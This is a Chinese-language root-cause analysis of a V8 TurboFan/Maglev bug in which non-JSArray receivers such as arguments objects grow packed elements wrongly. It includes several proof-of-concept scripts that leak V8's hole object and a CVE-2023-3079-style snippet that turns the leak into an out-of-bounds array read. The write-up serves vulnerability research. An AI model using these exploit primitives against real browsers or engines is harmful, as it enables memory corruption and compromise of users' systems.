[turbofan] Growing a non-JSArray packed elements kind makes it holey (4817946) · Gerrit Code Review (googlesource.com)


阅读patch说明基本可以知道此漏洞产生在Turbofan优化编译器JSNativeContextSpecialization::BuildElementAccess函数有关于非JSArray的packed elements优化处理中。当在js代码中存在对elements的访问操作时将会调用JSNativeContextSpecialization::BuildElementAccess函数来生成相应的处理节点。
此patch修改了两处,第一处(…/js-native-context-specialization.cc )会在Turbofan优化编译时被调用,此处会创建数组的约束节点:


此处的处理逻辑会根据element_kind判断当前的元素存储类型是否具有“空洞”(HOLEY),根据是否存在空洞来创建不同的约束节点,在修补前无论有没有空洞都会创建NumberAdd节点作为约束节点,区别在于NumberAdd操作的基数与增量,对于存在空洞的elements会从JSArray的elements中获取长度并将此长度作为增长基数,增加最大间隙长度:

对于不存在空洞的elements会根据receiver的类型来设定增长的基数,增量为1:

第二处(…/maglev-graph-builder.cc))此处修补与上一处是一样的,无非就是在maglev引擎中也修补了同样的问题。


首先需要尝试进入JSNativeContextSpecialization::BuildElementAccess函数,通过函数名及其函数的代码逻辑可以判断此函数会在产生elements访问时被出发调用,根据此特性可以编写出一个简单的js用例:
function func(){
let a = [];
// Load
return a[0];
}
%PrepareFunctionForOptimization(func);
func();
func();
func();
%OptimizeFunctionOnNextCall(func);
func();
执行后会发现虽然进入了JSNativeContextSpecialization::BuildElementAccess函数但并没有执行到patch修改的代码块,阅读代码会发现要进入到被修改的代码块要先通过IsGrowStoreMode函数,想要让IsGrowStoreMode函数返回true只需要将Load操作改为Store并且是STORE_AND_GROW_HANDLE_COW操作:


修改后:
function func(){
let a = [];
a[0] = 0x1;
}
%PrepareFunctionForOptimization(func);
func();
func();
func();
%OptimizeFunctionOnNextCall(func);
func();
但这明显无法触发漏洞,通过查看patch后的代码会发现新添加的代码逻辑增加了对receiver的判断,只有当receiver为JSArray时才会继续原本的逻辑,而当receiver不为JSArray时则直接返回elements_length,反过来讲此处修改就是为了防止非JSArray receiver去执行创建NumberAdd节点作为限制节点:

尝试使用非JSArray对象来尝试触发Elements访问,最常见的用arguments对象就可以:
function func(){
arguments[1] = 1.2;
}
%PrepareFunctionForOptimization(func);
func();
func();
func();
%OptimizeFunctionOnNextCall(func);
func({});
直接使用此代码会发现只触发了JSNativeContextSpecialization::ReducePropertyAccess和JSNativeContextSpecialization::ReduceElementAccess函数,并没有触发JSNativeContextSpecialization::BuildElementAccess,阅读JSNativeContextSpecialization::ReducePropertyAccess函数源码发现想要触发JSNativeContextSpecialization::BuildElementAccess函数的调用首先需要满足access_infos列表中的元素个数大于等于1:


除此以外还要防止ReducePropertyAccess函数在调用到BuildElementAccess之前提前退出,上文得出的js代码会在检查转换组vector是否为空的分支处退出函数。

通过查找feedback.transition_groups_的引用找到AddGroup函数此函数用于向feedback.transition_groups_添加元素:

只要确保在执行ReducePropertyAccess函数前执行AddGroup函数确保feedback.transition_groups_不为空。通过阅读调试源码以上文得出的js代码为例,想要调用AddGroup函数就必须保证func函数feedback列表中存在map,只有在反馈列表中存在map才会有对应的过渡对象。
通过修改可以得到以下代码:
function GetArguments(){
return arguments;
}
function store(arr, key, val){
arr[key] = val;
}
let args = GetArguments();
let arr = new Array();
for(let i=0; i<10; i++)
store(args, "foo", 12);
store(arr, 0, 1);
%PrepareFunctionForOptimization(store);
%OptimizeFunctionOnNextCall(store);
store(args, 0, 1);
根据前面的分析可以知道想要完成漏洞的触发,需要满足:
PACKED_*_ELEMENTstore_mode得是STORE_AND_GROW_HANDLE_COW上面的代码由于会在FeedbackVector的slot中生成两个feedback元素内容,所以会调用两次BuildElementAccess函数,当第一次调用时会去处理args['foo']=12此时receiver为非JSArray符合要求,elements_kind为PACKED_ELEMENT也符合要求,但是keyed_mode.store_mode不为STORE_AND_GROW_HANDLE_COW不符合要求:

至此可以大致推断出此漏洞与CVE-2023-3079有相似之处,关于如何在FeedbackVector中构造一个map不为JSArray,elements_kind为PCAKED_*_ELEMENT,store_mode为STORE_AND_GROW_HANDLE_COW的feedback元素基本可以参考3079。
在V8 Inline Cache机制中具有相同“形状”的对象将会调用相同的Builtin函数,而在BuildElementAccess函数中store与load操作的store_mode与Builtin函数有关,在以上JS用例代码中arguments对象elements_kind为PCAKED_ELEMENT并且arguments对象不为JSArray,但是store_mode为STANDARD_STORE,所以现在只需要让其store_mode为STORE_AND_GROW_HANDLE_COW。
结合以上分析我可以写出以下三个POC代码,其中前两个代码用例本质其实是一样的,只是单纯写法不一样,第三个在是在不同v8版本中写的,不需要obj对象只需要一个args对象即可,三个执行后都可以得到一个hole对象,POC1、POC2(v8 11.6.189.18),POC3(v8 11.4.183.17):
// v8 11.6.189.18
let a1 = GetArguments();
let a2 = GetArguments();
let arr = [];
function GetArguments(){
return arguments;
}
function Store(arr, key, val){
arr[key] = val;
}
// KeyedStoreIC::Store
for(let i=0; i<10; i++)
Store({}, "foo", 1);
Store(a1, "foo", 1);
Store(arr, 0, 1);
// TurboFan Optimize Compile
%PrepareFunctionForOptimization(Store);
%OptimizeFunctionOnNextCall(Store);
Store(a2, 0, 1);
let hole = a2[a2.length+1];
%DebugPrint(hole);
// v8 11.6.189.18
let arr = [];
let obj = {};
let args1 = GetArguments();
let args2 = GetArguments();
function GetArguments(){
return arguments;
}
function Store(arr, key, val){
arr[key] = val;
}
function GetHole(){
Store(args2, 0, 1);
return args2[args2.length+1];
}
// KeyedStoreIC::Store
for(let i=0; i<10; i++)
Store(obj, "foo", 1);
Store(args1, "foo", 1);
Store(arr, 0, 1);
// TurboFan Optimize Compile
%PrepareFunctionForOptimization(Store);
%OptimizeFunctionOnNextCall(Store);
let hole = GetHole();
%DebugPrint(hole);
// v8 11.4.183.17
let arr = [];
let args = GetArguments();
function GetArguments(){
return arguments;
}
function Store(arr, key, val){
arr[key] = val;
}
function GetHole(){
Store(args, 0, 1);
return args[args.length+1];
}
// KeyedStoreIC::Store
for(let i=0; i<10; i++){
Store(args, "foo", 1);
}
Store(arr, 0, 1);
// TurboFan Optimize Compile
%PrepareFunctionForOptimization(Store);
%OptimizeFunctionOnNextCall(Store);
let hole = GetHole();
%DebugPrint(hole);
为了方便之后的漏洞利用将其封装成一个函数,当然也可以直接用POC2或在11.4版本的v8上用POC3:
function GetHole(){
function GetArguments(){
return arguments;
}
function Store(arr, key, val){
arr[key] = val;
}
let obj = {};
let args1 = GetArguments();
let args2 = GetArguments();
let arr = [];
// IC
for(let i=0; i<10; i++)
Store(obj, "foo", 0);
Store(args1, "foo", 1);
Store(arr, 0, 1);
// Optimize Compile
for(let i=0; i<0x3000; i++)
Store(arr, 0, 1);
Store(args2, 0, 1);
return args2[args2.length+1];
}
let hole = GetHole();
%DebugPrint(hole);
之所以会有POC3通过分析后可知在11.4版本的v8中args["foo"]=1此类操作store_mode为STORE_AND_GROW_HANDLE_COW所以不需要在arguments对象之前再使用object对象来使其store_mode变为STORE_AND_GROW_HANDLE_COW:

而在11.6版本中args["foo"]=1的store_mode为STANDARD_STORE,所以需要先使用object对象来使其store_mode变为STORE_AND_GROW_HANDLE_COW:

此时在js代码中通过调用GetHole()函数可以得到hole对象,通过参考3079的exp可知以下代码可以实现从arr1数组到arr2数组的越界读取:
function fun(f) {
let idx = Number(f ? hole : -1);
idx |= 0;
idx += 1;
let arr1 = [1.1, 1.2, 1.3, 1.4];
let arr2 = [0x1111, {}];
let obj = arr1.at(idx*8);
}
for(let i=0; i<10; i++)
fun(true);
for(let i=0; i<0x4000; i++)
fun(false);
通过分析turbolizer图可以大致看到它会将idx的数据范围设定在-1~-1之间,据此在进行后续的计算最终得到的数组下标为0:

在SimplifiedLowering阶段后,CheckSmi检查节点将会被优化掉,转而生成两个类型转换节点先从Int31转换为TaggedSigned类型,再从TaggedSigned转换为Int64类型:

但是当代码执行时idx实际为1并非为0,导致在实际运行时出现越界:

注意此利用方式在v8 11.6版本上已经被修补。
根据分析此漏洞可以推断此漏洞的发现者很可能是通过代码审计的方式发现的此漏洞,当然也有可能是针对性fuzz,在挖掘此漏洞时着重关注了存在依赖关系的前后代码逻辑不匹配以及存在未考虑到的输入内容的情况。例如在此漏洞中导致漏洞发生的限制节点,其生成涉及到elements_length与length,并且还有receiver_is_jsarray:

其中elements_length节点的生成逻辑比较简单直接从elements的固定偏移处获取即可,所以在使用elements_length生成限制节点的逻辑没有问题:

但是length节点的生成就比较复杂了,他考虑到了receiver是否是JSArray的问题,但是在生成限制节点时却假设无论elements_kind是否为HOLEY_ELEMENTSreceiver都绝对为JSArray,但实际情况却不是,它还有可能是Arguments,所以在patch后在限制节点的生成位置还增加了receiver非JSArray的逻辑代码,当receiver非JSArray时将直接使用elements_length而不再让其进行扩展:


至于为什么PACKED_ELEMENTS可以读出hole而HOLEY_ELEMENTS读不出,那是因为只有HOLEY_ELEMENTS才会去检查读取值是否为hole当是hole时就返回undefined,而PACKED_ELEMENTS则不会检查:


然后还有JSArrayPACKED_ELEMENTS这种情况,这种情况也不会造成hole对象泄露,当在处理边界检查时会区分处理JSArray与非JSArray:

在BuildElementAccess函数中,对于arguments对象而言在BuildElementAccess函数中则会从elements中获取实际容量来作为边界(如上图):

而在AccessorAssembler::EmitFastElementsBoundsCheck函数中进行边界检查时对于arguments对象会通过elements来获取实际容量来作为边界,而在此处arguments的实际容量为17要大于其length,并且除了元素1以外剩下的都是hole对象,再加上由于elements kind为PACKED_ELEMENTS可以绕过hole检查读出hole对象:

而对于array则会直接从receiver中获取length来作为边界,所以即使length与elements实际容量不一致也无法越界读取到hole对象:

一句话总结原因那就是arguments对象使用elements中的实际容量作为边界,而array则使用receiver中的length作为边界,对于使用hole作为填充的PACKED_ELEMENTS而言,length长度只是elements中实际有效数据的长度是排除hole的,而实际容量则包括hole和实际有效数据是不排除hole的。